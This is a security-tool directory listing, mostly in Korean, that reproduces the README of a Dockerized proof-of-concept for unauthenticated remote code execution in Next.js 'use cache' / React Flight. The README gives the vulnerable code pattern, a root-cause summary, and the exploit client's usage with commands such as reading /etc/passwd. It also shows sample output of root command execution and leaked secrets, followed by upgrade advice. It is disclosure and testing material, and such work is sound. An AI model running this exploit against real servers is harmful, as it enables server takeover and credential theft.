Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
GHSA-673q-mjm6-r5xr — GHSA-673q-mjm6-r5xr에 대한 Docker 기반 개념 증명: 단일 비인증 요청으로 Next.js use cache / React Flight에서 RCE가 달성되며, 비교를 위한 패치된 희생 대상이 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/rudsarkar/ghsa-673q-mjm6-r5xr
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & ResearchPayload Development
GitHubrudsarkar/ghsa-673q-mjm6-r5xr

GHSA-673q-mjm6-r5xr

GHSA-673q-mjm6-r5xr에 대한 Docker 기반 개념 증명: 단일 비인증 요청으로 Next.js use cache / React Flight에서 RCE가 달성되며, 비교를 위한 패치된 희생 대상이 포함되어 있습니다.

저장소 보기
8일 전아직 검토되지 않음
공유

GHSA-673q-mjm6-r5xr — 원격 RCE PoC (Next.js use cache / React Flight)

타입 배열을 반환하는 use cache 함수에서의 비인증 원격 코드 실행 Next.js >=16.0.0 <16.4.1 · CVSS v4 9.5 심각 · CWE-502 (신뢰할 수 없는 데이터의 역직렬화) 업스트림 근본 원인: React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-* < 19.2.9 / 19.1.10 / 19.0.9 / 19.3.1). Next.js 16.4.1에서 수정됨.

완전히 동작하는, Docker화된 원격 개념 증명(PoC): 네트워크 공격자가 단 하나의 비인증 HTTP 요청을 보내 피해자 컨테이너 내부에서 root 권한으로 임의의 명령을 실행합니다. 동일한 소스로 빌드된 패치된 피해자는 면역입니다.

 attacker container  ──HTTP POST /profile (crafted body)──▶  victim container (Next.js-style
   (no privileged access)                                     `use cache` Flight boundary)
          ▲                                                           │
          └──────────── GET /proof  ◀── server-side `id`, SECRET.txt exfil ──┘

This is a self-contained reproduction of the exact React Server Components Flight transport that Next.js vendors (react-server-dom-webpack), pinned to the vulnerable (19.2.8) and patched (19.2.9) versions. See CASE-STUDY.md for the full root-cause analysis.


TL;DR

make demo         # builds images, starts both victims, pwns the vulnerable one,
                  # then shows the same exploit fail against the patched one

또는 단계별로:

docker compose up -d --build victim victim-patched   # :3000 vulnerable, :3001 patched
docker compose run --rm poc                     # RCE vs :3000   -> exit 0
docker compose run --rm poc-patched             # safe   vs :3001 -> exit 1
docker compose run --rm evidence                     # root-cause reproducers, side by side

요구 사항: Docker + Docker Compose. 런타임에는 인터넷 접근이 필요하지 않습니다(고정된 npm 패키지를 가져오기 위한 빌드 시에만 필요).


확인할 수 있는 것

취약한 희생자([email protected])를 대상으로:

[+] REMOTE CODE EXECUTION CONFIRMED
    command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
    host    : 648b3c59052e  user: root  pid: 1
    --- command output (executed on the victim) ---
    | uid=0(root) gid=0(root) groups=0(root)
    |
    | === exfiltrated /app/SECRET.txt ===
    | DB_PASSWORD=hunter2
    | API_KEY=sk-live-7f3c9a21b0e4
    | FLAG{GHSA-673q-mjm6-r5xr-rce}
    |
    | Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux

패치된 피해자([email protected])에 대해서는 동일한 요청이 무해한 프로필 카드로 디코딩됩니다. 공격자의 바이트는 displayName 문자열 안에 머물러 있으며 결코 프로토콜 명령이 되지 않습니다:

[-] No code execution observed. Target is PATCHED.
    decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}

취약한 패턴

피해자는 Next.js 스타일의 use cache 함수로 사용자 "프로필 카드"를 캐시합니다. 캐시된 값은 동일한 ArrayBuffer에 대한 뷰인 두 개의 타입 배열(하나의 디코딩된 이미지에서 잘라낸 avatar와 thumbnail — 매우 흔한 "한 번 디코딩하고 영역을 잘라내기" 패턴) 과 공격자가 제어하는 문자열(요청에서 가져온 표시 이름)을 함께 묶습니다:

function getProfileCard(displayName) {
  'use cache'
  const decodedImage = new ArrayBuffer(8192 * 2)         // one decoded image
  const avatar    = new Uint8Array(decodedImage, 0, 8192)      // view 1
  const thumbnail = new Uint8Array(decodedImage, 8192, 8192)   // view 2 — SAME buffer
  return { avatar, thumbnail, displayName }                    // displayName = attacker input
}

React의 Flight 인코더가 첫 번째 대형 타입 배열을 바이트 ReadableStream으로 스트리밍할 때, 공유된 ArrayBuffer가 **분리(detach)**됩니다(WHATWG Streams 전송 시맨틱). 두 번째 뷰의 byteLength는 청크 헤더가 이미 원래 길이를 선언한 이후에 조용히 0이 됩니다. 그런 다음 디코더가 과다 읽기를 수행하여 스트림 프레이밍을 삼키고, 공격자의 displayName 바이트가 원시 Flight 프로토콜 행으로 파싱되도록 하여 공격자가 선택한 Server Reference를 주입합니다. React는 캐시 읽기 중에 이를 호출합니다 → RCE. 전체 분석은 CASE-STUDY.md에서 확인할 수 있습니다.


레이아웃

.
├── README.md                 you are here
├── CASE-STUDY.md             full root-cause + exploitation write-up
├── docker-compose.yml        victim (vuln), victim-patched, poc, evidence
├── Makefile                  make demo / up / exploit / evidence / clean
├── victim/
│   ├── Dockerfile            ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│   ├── server.js             faithful Next.js `use cache` encode→store→decode pipeline
│   └── app-modules.js        the server module graph the injected reference resolves against
├── poc/
│   ├── Dockerfile
│   └── exploit.js            remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
    ├── 01-encoder-desync.cjs       header declares N bytes, writes 0
    ├── 02-type-confusion-sink.cjs  thenable whose .then is a server reference
    ├── 03-full-chain-rce.cjs       desync → injection → command execution
    ├── run.sh                      runs all three against vuln AND patched
    ├── sample-run.txt              captured output
    └── upstream-diffs/             the real Next.js 16.4.0 → 16.4.1 patch diffs

수동 테스트

poc 클라이언트는 플래그 기반으로 동작합니다. 전체 매뉴얼은 다음을 참조하십시오:

docker compose run --rm poc -h          # or:  node poc/exploit.js -h
USAGE
  node exploit.js [options]

OPTIONS
  -t, --target <url>     Base URL of the victim           (default: http://localhost:3000)
  -c, --cmd <command>    Shell command to run on the victim
      --timeout <ms>     Per-request timeout in ms         (default: 15000)
      --dry-run          Build and print the payload; do not send anything
  -h, --help             Show this help and exit
      --version          Print version and exit

예시:

# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'

# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run

# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'

# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile

# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq

완화 조치

Next.js를 ≥ 16.4.1로 업그레이드하십시오(수정된 React Flight 런타임이 포함되어 있음). react-server-dom-webpack / -turbopack / -parcel에 직접 의존하는 경우 19.2.9, 19.1.10, 19.0.9, 또는 19.3.1로 업그레이드하십시오. 영향을 받는 use cache 함수에 대해서는 애플리케이션 수준의 우회 방법이 없으며 업그레이드가 유일한 해결책입니다.

책임 있는 사용

이 PoC는 자신이 빌드하는 두 개의 일회용 컨테이너만을 대상으로 합니다. 소유하고 있거나 명시적으로 테스트 권한을 부여받은 시스템에 대해서만 사용하십시오.

도구 다운로드

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    브라우저 측 레드 팀 툴킷으로, 정찰, 페이로드 생성, 자격 증명 공격, 암호화, 인코딩 및 참여 보고를 위한 102개의 오프라인 도구를 제공합니다.

    350
  • 4

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    Shadowserver 보고서를 MongoDB로 수집하고 이를 대화형 지도, 분석, 발견 사항, 권고 및 경영진 대시보드로 재생하는 CSIRT 플랫폼입니다.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI 네이티브 사이버보안을 위한 행동 체계—의도가 통제된 실행이 되고, 증거가 운영 메모리가 되며, 모든 운영이 다음 운영을 개선하는 곳.

    292

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →